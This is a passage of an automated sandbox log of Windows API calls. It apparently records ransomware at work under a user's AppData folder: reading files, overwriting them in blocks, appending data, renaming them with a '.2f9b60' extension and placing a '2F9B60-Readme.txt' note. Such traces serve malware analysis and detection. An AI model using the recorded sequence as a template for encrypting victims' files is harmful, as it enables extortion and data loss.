dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202a4a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c4 [0152.395] FindNextFileW (in: hFindFile=0x1cd86790, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0152.395] wcscmp (_String1="LogTransport2", _String2=".") returned 1 [0152.395] wcscmp (_String1="LogTransport2", _String2="..") returned 1 [0152.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a49b0 [0152.395] wcscpy (in: _Dest=0x202a49b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" [0152.395] wcscat (in: _Dest=0x202a49b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\" [0152.395] wcscat (in: _Dest=0x202a49b0, _Source="LogTransport2" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2" [0152.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202a49b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b0 [0152.397] FindNextFileW (in: hFindFile=0x1cd86790, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 0 [0152.397] FindClose (in: hFindFile=0x1cd86790 | out: hFindFile=0x1cd86790) returned 1 [0152.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62a20) returned 1 [0152.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e170) returned 1 [0152.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3420) returned 1 Thread: id = 922 os_tid = 0x1510 [0101.167] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AN 9W Yv.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\an 9w yv.doc")) returned 0x2020 [0101.179] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AN 9W Yv.doc", dwFileAttributes=0x20) returned 1 [0103.474] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AN 9W Yv.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\an 9w yv.doc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1774 [0103.474] GetFileSizeEx (in: hFile=0x1774, lpFileSize=0x2eaef740 | out: lpFileSize=0x2eaef740*=51891) returned 1 [0103.474] SetFilePointerEx (in: hFile=0x1774, liDistanceToMove=0xcaaf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.474] ReadFile (in: hFile=0x1774, lpBuffer=0x2eaef6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2eaef708, lpOverlapped=0x0 | out: lpBuffer=0x2eaef6c0*, lpNumberOfBytesRead=0x2eaef708*=0x4, lpOverlapped=0x0) returned 1 [0103.475] SetFilePointerEx (in: hFile=0x1774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0103.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263440 [0103.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0103.475] NtQuerySystemTime (in: CurrentTime=0x2eaef600 | out: CurrentTime=0x2eaef600*=132462177089890000) returned 0x0 [0103.475] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x62b81443 [0103.475] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x52901dee [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x67fc3ee0 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x287e87f [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x3e260bb2 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x5c23d959 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x4903261b [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x42972fed [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x75cd9ba [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x53aef185 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x23e3c499 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x6c44d5fa [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x6181f9c9 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x7ab6535c [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0xb2e0010 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x7bc3dd09 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x3fcba952 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x4c1b4cca [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x285658a1 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x59e32030 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x4ec185a2 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x28e11eca [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x1dd0e518 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x5f2e233a [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x5bbd6d20 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x6de3f234 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x3c61f6a7 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x1afb53db [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x6844a0d4 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x7337cb98 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0xf9a1907 [0103.476] RtlRandomEx (in: Seed=0x2eaef5f0 | out: Seed=0x2eaef5f0) returned 0x31f7230d [0103.484] SetFilePointerEx (in: hFile=0x1774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.484] ReadFile (in: hFile=0x1774, lpBuffer=0x2046ff70, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2eaef660, lpOverlapped=0x0 | out: lpBuffer=0x2046ff70*, lpNumberOfBytesRead=0x2eaef660*=0x3c00, lpOverlapped=0x0) returned 1 [0103.484] SetFilePointerEx (in: hFile=0x1774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0103.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0103.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0103.484] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260890) returned 1 [0103.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20473b80 [0103.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0103.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0103.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262030) returned 1 [0103.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0103.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0103.485] WriteFile (in: hFile=0x1774, lpBuffer=0x20473b80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2eaef660, lpOverlapped=0x0 | out: lpBuffer=0x20473b80*, lpNumberOfBytesWritten=0x2eaef660*=0x3c00, lpOverlapped=0x0) returned 1 [0103.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20473b80) returned 1 [0103.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046ff70) returned 1 [0103.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263500 [0103.966] SetFilePointerEx (in: hFile=0x1774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.966] WriteFile (in: hFile=0x1774, lpBuffer=0x4205a9b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2eaef710, lpOverlapped=0x0 | out: lpBuffer=0x4205a9b0*, lpNumberOfBytesWritten=0x2eaef710*=0x10a, lpOverlapped=0x0) returned 1 [0104.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a9b0) returned 1 [0104.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263740) returned 1 [0104.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262180) returned 1 [0104.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263500) returned 1 [0104.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260890) returned 1 [0104.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263440) returned 1 [0104.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262090) returned 1 [0104.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202635c0) returned 1 [0104.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x2050a890 [0104.150] wcscpy (in: _Dest=0x2050a890, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AN 9W Yv.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AN 9W Yv.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AN 9W Yv.doc" [0104.150] wcscat (in: _Dest=0x2050a890, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AN 9W Yv.doc.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AN 9W Yv.doc.2f9b60" [0104.150] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AN 9W Yv.doc.2f9b60", NtPathName=0x2eaef730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AN 9W Yv.doc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x20501c10 [0104.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501c10) returned 1 [0104.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceccba0) returned 1 [0104.530] NtQueryInformationFile (in: FileHandle=0x1774, IoStatusBlock=0x2eaef798, FileInformation=0x2eaef7a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2eaef798, FileInformation=0x2eaef7a8) returned 0x0 [0104.530] NtSetInformationFile (FileHandle=0x1774, IoStatusBlock=0x2eaef798, FileInformation=0x2eaef7a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a890) returned 1 [0104.534] FlushFileBuffers (hFile=0x1774) returned 1 [0104.805] CloseHandle (hObject=0x1774) returned 1 [0105.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4920 [0105.011] wcscpy (in: _Dest=0x202a4920, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0105.011] wcscat (in: _Dest=0x202a4920, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0105.011] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0105.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4920) returned 1 [0105.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 Thread: id = 923 os_tid = 0x1514 [0101.181] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Bc16FohRCuQ1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bc16fohrcuq1.mp3")) returned 0x2020 [0101.181] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Bc16FohRCuQ1.mp3", dwFileAttributes=0x20) returned 1 [0103.503] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Bc16FohRCuQ1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bc16fohrcuq1.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x177c [0103.503] GetFileSizeEx (in: hFile=0x177c, lpFileSize=0x2ec0f6a0 | out: lpFileSize=0x2ec0f6a0*=87388) returned 1 [0103.503] SetFilePointerEx (in: hFile=0x177c, liDistanceToMove=0x15558, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.503] ReadFile (in: hFile=0x177c, lpBuffer=0x2ec0f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ec0f668, lpOverlapped=0x0 | out: lpBuffer=0x2ec0f620*, lpNumberOfBytesRead=0x2ec0f668*=0x4, lpOverlapped=0x0) returned 1 [0103.504] SetFilePointerEx (in: hFile=0x177c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0103.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202634d0 [0103.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0103.504] NtQuerySystemTime (in: CurrentTime=0x2ec0f560 | out: CurrentTime=0x2ec0f560*=132462177090046000) returned 0x0 [0103.504] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x1b3f9883 [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x2cff0624 [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x413a861 [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x76db9153 [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x300db365 [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x5a127e19 [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x542925a4 [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x1d5f1989 [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x3f221b0a [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x7ccf2f7e [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x26fd3ba9 [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x2c51a65a [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x265f30c4 [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x4b55ad30 [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x2616256c [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x396ea8d6 [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x21fa2eab [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x321250b0 [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x3f07b0ff [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x7d284533 [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x1079bc6d [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x3b141cbe [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x781ccc78 [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x1c68b7b9 [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x4c55a80f [0103.505] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x5397f7d0 [0103.506] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x66df275a [0103.506] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x66f799c4 [0103.506] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x445d0ebe [0103.506] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x41ca628c [0103.506] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x58c0211 [0103.506] RtlRandomEx (in: Seed=0x2ec0f550 | out: Seed=0x2ec0f550) returned 0x542d7e68 [0103.515] SetFilePointerEx (in: hFile=0x177c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.515] ReadFile (in: hFile=0x177c, lpBuffer=0x41f1f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ec0f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41f1f0f0*, lpNumberOfBytesRead=0x2ec0f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.515] SetFilePointerEx (in: hFile=0x177c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0103.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0103.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0103.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626c0) returned 1 [0103.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f22d00 [0103.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0103.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0103.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608f0) returned 1 [0103.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0103.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0103.516] WriteFile (in: hFile=0x177c, lpBuffer=0x41f22d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ec0f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41f22d00*, lpNumberOfBytesWritten=0x2ec0f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f22d00) returned 1 [0104.652] SetFilePointerEx (in: hFile=0x177c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.652] ReadFile (in: hFile=0x177c, lpBuffer=0x41f1f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ec0f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41f1f0f0*, lpNumberOfBytesRead=0x2ec0f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.652] SetFilePointerEx (in: hFile=0x177c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0104.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0104.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262810 [0104.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262810) returned 1 [0104.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f22d00 [0104.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262810 [0104.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0104.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262720) returned 1 [0104.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0104.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0104.653] WriteFile (in: hFile=0x177c, lpBuffer=0x41f22d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ec0f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41f22d00*, lpNumberOfBytesWritten=0x2ec0f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f22d00) returned 1 [0104.809] SetFilePointerEx (in: hFile=0x177c, liDistanceToMove=0x1195c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.809] ReadFile (in: hFile=0x177c, lpBuffer=0x41f1f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ec0f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41f1f0f0*, lpNumberOfBytesRead=0x2ec0f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.809] SetFilePointerEx (in: hFile=0x177c, liDistanceToMove=0x1195c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0104.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866fc0 [0104.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6920 [0104.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6920) returned 1 [0104.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f22d00 [0104.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6920 [0104.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6860 [0104.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6860) returned 1 [0104.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866fc0) returned 1 [0104.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0104.810] WriteFile (in: hFile=0x177c, lpBuffer=0x41f22d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ec0f5c0, lpOverlapped=0x0 | out: lpBuffer=0x41f22d00*, lpNumberOfBytesWritten=0x2ec0f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f22d00) returned 1 [0104.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced5b00 [0104.848] SetFilePointerEx (in: hFile=0x177c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.848] WriteFile (in: hFile=0x177c, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ec0f670, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x2ec0f670*=0x152, lpOverlapped=0x0) returned 1 [0105.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 